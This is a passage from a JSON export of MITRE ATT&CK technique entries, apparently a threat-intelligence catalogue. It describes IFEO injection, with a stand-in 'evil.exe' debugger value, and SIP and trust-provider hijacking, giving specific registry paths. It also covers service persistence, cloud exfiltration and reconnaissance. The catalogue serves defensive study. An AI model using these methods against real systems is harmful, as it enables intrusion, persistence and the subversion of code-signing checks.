\"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
"meta": {
"external_id": "T1183",
"refs": [
"https://attack.mitre.org/techniques/T1183",
"https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/",
"https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview",
"https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit",
"https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
"https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml",
"https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2"
]
},
"related": [
{
"dest-uuid": "6d4a7fb3-5a24-42be-ae61-6728a2b581f6",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "62166220-e498-410f-a90a-19d4339d4e99",
"value": "Image File Execution Options Injection - T1183"
},
{
"description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
"meta": {
"external_id": "T1198",
"refs": [
"http://www.entrust.net/knowledge-base/technote.cfm?tn=8165",
"https://attack.mitre.org/techniques/T1198",
"https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/",
"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)",
"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)",
"https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files",
"https://github.com/mattifestation/PoCSubjectInterfacePackage",
"https://msdn.microsoft.com/library/ms537359.aspx",
"https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx",
"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
]
},
"related": [
{
"dest-uuid": "543fceb5-cb92-40cb-aacf-6913d4db58bc",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "72b5ef57-325c-411b-93ca-a3ca6fa17e31",
"value": "SIP and Trust Provider Hijacking - T1198"
},
{
"description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",
"meta": {
"external_id": "T1222",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Modification",
"Command: Command Execution",
"File: File Metadata",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1222",
"https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/",
"https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110",
"https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
]
},
"uuid": "65917ae0-b854-4139-83fe-bf2441cf0196",
"value": "File and Directory Permissions Modification - T1222"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1224).\n\nLeadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)",
"meta": {
"external_id": "T1224",
"kill_chain": [
"mitre-pre-attack:priority-definition-planning"
],
"refs": [
"https://attack.mitre.org/techniques/T1224"
]
},
"uuid": "d3999268-740f-467e-a075-c82e2d04be62",
"value": "Assess leadership areas of interest - T1224"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1284).\n\nA wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)",
"meta": {
"external_id": "T1284",
"kill_chain": [
"mitre-pre-attack:organizational-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1284"
]
},
"related": [
{
"dest-uuid": "856a9371-4f0f-4ea9-946e-f3144204240f",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "dfa4eaf4-50d9-49de-89e9-d33f579f3e05",
"value": "Determine 3rd party infrastructure services - T1284"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1243).\n\nFrom a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)",
"meta": {
"external_id": "T1243",
"kill_chain": [
"mitre-pre-attack:target-selection"
],
"refs": [
"https://attack.mitre.org/techniques/T1243"
]
},
"uuid": "dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9",
"value": "Determine highest level tactical element - T1243"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1244).\n\nThe secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)",
"meta": {
"external_id": "T1244",
"kill_chain": [
"mitre-pre-attack:target-selection"
],
"refs": [
"https://attack.mitre.org/techniques/T1244"
]
},
"uuid": "b9148981-152a-4a19-95c1-962803f5c9af",
"value": "Determine secondary level tactical element - T1244"
},
{
"description": "With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC(Citation: Wang-ExploitingUSB)(Citation: ArsTechnica-PoisonTap) This technique has been demonstrated on Android. We are unaware of any demonstrations on iOS.",
"meta": {
"external_id": "PHY-2",
"kill_chain": [
"mitre-mobile-attack:lateral-movement"
],
"mitre_platforms": [
"Android"
],
"refs": [
"http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/",
"http://dl.acm.org/citation.cfm?id=1920314",
"https://attack.mitre.org/techniques/T1427",
"https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html"
]
},
"uuid": "a0464539-e1b7-4455-a355-12495987c300",
"value": "Attack PC via USB Connection - T1427"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1285).\n\nDetermining if a \"corporate\" help desk exists, the degree of access and control it has, and whether there are \"edge\" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)",
"meta": {
"external_id": "T1285",
"kill_chain": [
"mitre-pre-attack:organizational-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1285"
]
},
"uuid": "a7dff5d5-99f9-4a7e-ac54-a64113c28121",
"value": "Determine centralization of IT management - T1285"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1259).\n\nNetwork trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEggWikipedia) (Citation: KGBComputerMe)",
"meta": {
"external_id": "T1259",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1259"
]
},
"uuid": "a2fc93cd-e371-4755-9305-2615b6753d91",
"value": "Determine external network trust dependencies - T1259"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1297).\n\nUnderstanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)",
"meta": {
"external_id": "T1297",
"kill_chain": [
"mitre-pre-attack:people-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1297"
]
},
"related": [
{
"dest-uuid": "092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "7baccb84-356c-4e89-8c5d-58e701f033fc",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "96eb59d1-6c46-44bb-bfcd-56be02a00d41",
"value": "Analyze organizational skillsets and deficiencies - T1297"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1288).\n\nAn adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)",
"meta": {
"external_id": "T1288",
"kill_chain": [
"mitre-pre-attack:technical-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1288"
]
},
"uuid": "87775365-2081-4b6e-99bd-48a3b8f36563",
"value": "Analyze architecture and configuration posture - T1288"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1289).\n\nAnalyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)",
"meta": {
"external_id": "T1289",
"kill_chain": [
"mitre-pre-attack:technical-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1289"
]
},
"related": [
{
"dest-uuid": "7baccb84-356c-4e89-8c5d-58e701f033fc",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
},
{
"dest-uuid": "96eb59d1-6c46-44bb-bfcd-56be02a00d41",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc",
"value": "Analyze organizational skillsets and deficiencies - T1289"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nThe utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)",
"meta": {
"external_id": "T1375",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1375"
]
},
"uuid": "2c8a9df4-52a9-4770-94b3-5e95ab7d59f9",
"value": "Leverage compromised 3rd party resources - T1375"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1335).\n\nAn adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)",
"meta": {
"external_id": "T1335",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1335",
"https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
]
},
"uuid": "2141aea0-cf38-49aa-9e51-ac34092bc30a",
"value": "Procure required equipment and software - T1335"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1337).\n\nCertificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [Wachovia](https://www.wellsfargo.com/about/corporate/wachovia) -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)",
"meta": {
"external_id": "T1337",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1337",
"https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/"
]
},
"uuid": "e34b9ca1-8778-41a3-bba5-8edaab4076dc",
"value": "SSL certificate acquisition for domain - T1337"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nUpon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)",
"meta": {
"external_id": "T1383",
"kill_chain": [
"mitre-pre-attack:compromise"
],
"refs": [
"https://attack.mitre.org/techniques/T1383"
]
},
"uuid": "f4c5d1d9-8f0e-46f1-a9fa-f9a440926046",
"value": "Confirmation of launched compromise achieved - T1383"
},
{
"description": "The application is delivered as an email attachment.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.\n\nPlatforms: Android, iOS",
"meta": {
"external_id": "T1434",
"refs": [
"https://attack.mitre.org/techniques/T1434"
]
},
"related": [
{
"dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "1f96d624-8409-4472-ad8a-30618ee6b2e2",
"value": "App Delivered via Email Attachment - T1434"
},
{
"description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection). ",
"meta": {
"external_id": "T1543",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: OS API Execution",
"Process: Process Creation",
"Service: Service Creation",
"Service: Service Modification",
"Windows Registry: Windows Registry Key Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1543",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
"https://technet.microsoft.com/en-us/library/cc772408.aspx",
"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf"
]
},
"uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5",
"value": "Create or Modify System Process - T1543"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1347).\n\nDelivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)",
"meta": {
"external_id": "T1347",
"kill_chain": [
"mitre-pre-attack:build-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1347"
]
},
"uuid": "15ef4da5-3b93-4bb1-a39a-5396661956d3",
"value": "Build and configure delivery systems - T1347"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nUsers may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)",
"meta": {
"external_id": "T1384",
"kill_chain": [
"mitre-pre-attack:compromise"
],
"refs": [
"https://attack.mitre.org/techniques/T1384"
]
},
"uuid": "0e6abb17-0f81-4988-9fd2-4ba0b673d729",
"value": "Automated system performs requested action - T1384"
},
{
"description": "If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication.(Citation: mHealth)",
"meta": {
"external_id": "APP-1",
"kill_chain": [
"mitre-mobile-attack:network-effects"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1439",
"https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html"
]
},
"related": [],
"uuid": "393e8c12-a416-4575-ba90-19cc85656796",
"value": "Eavesdrop on Insecure Network Communication - T1439"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1394).\n\nAn adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)",
"meta": {
"external_id": "T1394",
"kill_chain": [
"mitre-pre-attack:stage-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1394"
]
},
"uuid": "d2c4206a-a431-4494-834d-52944a79e9f4",
"value": "Distribute malicious software development tools - T1394"
},
{
"description": "Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ",
"meta": {
"external_id": "T1537",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Cloud Storage: Cloud Storage Creation",
"Cloud Storage: Cloud Storage Modification",
"Snapshot: Snapshot Creation",
"Snapshot: Snapshot Modification"
],
"mitre_platforms": [
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1537",
"https://www.justice.gov/file/1080281/download"
]
},
"uuid": "d4bdbdea-eaec-4071-b4f9-5105e12ea4b6",
"value": "Transfer Data to Cloud Account - T1537"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1358).\n\nExecution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)",
"meta": {
"external_id": "T1358",
"kill_chain": [
"mitre-pre-attack:test-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1358"
]
},
"uuid": "a16e4004-caac-4a0b-acd5-486f8fda1665",
"value": "Review logs and residual traces - T1358"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nMany mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)",
"meta": {
"external_id": "T1395",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1395"
]
},
"uuid": "41086474-e6de-4fac-bb69-640db7fdf3d2",
"value": "Runtime code download and execution - T1395"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1359).\n\nAn adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)",
"meta": {
"external_id": "T1359",
"kill_chain": [
"mitre-pre-attack:test-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1359"
]
},
"uuid": "8b57a8f1-9cbc-4b95-b162-cc2a1add94f2",
"value": "Test malware to evade detection - T1359"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nReplacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)",
"meta": {
"external_id": "T1378",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1378"
]
},
"uuid": "0d759854-9b69-438c-8325-74b03cc80cf0",
"value": "Replace legitimate binary with malware - T1378"
},
{
"description": "**This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nExternally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)",
"meta": {
"external_id": "T1388",
"kill_chain": [
"mitre-pre-attack:compromise"
],
"refs": [
"https://attack.mitre.org/techniques/T1388"
]
},
"uuid": "4aeafdb3-eb0b-4e8e-b93f-95cd499088b4",
"value": "Compromise of externally facing system - T1388"
},
{
"description": "An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating. (Citation: NIST-SP800187)(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)",
"meta": {
"external_id": "GPS-0",
"kill_chain": [
"mitre-mobile-attack:network-effects"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf",
"https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/",
"https://attack.mitre.org/techniques/T1464",
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html",
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html",
"https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html",
"https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html",
"https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/",
"https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/",
"https://www.nytimes.com/2007/11/04/technology/04jammer.html"
]
},
"uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d",
"value": "Jamming or Denial of Service - T1464"
},
{
"description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.",
"meta": {
"external_id": "CAPEC-564",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
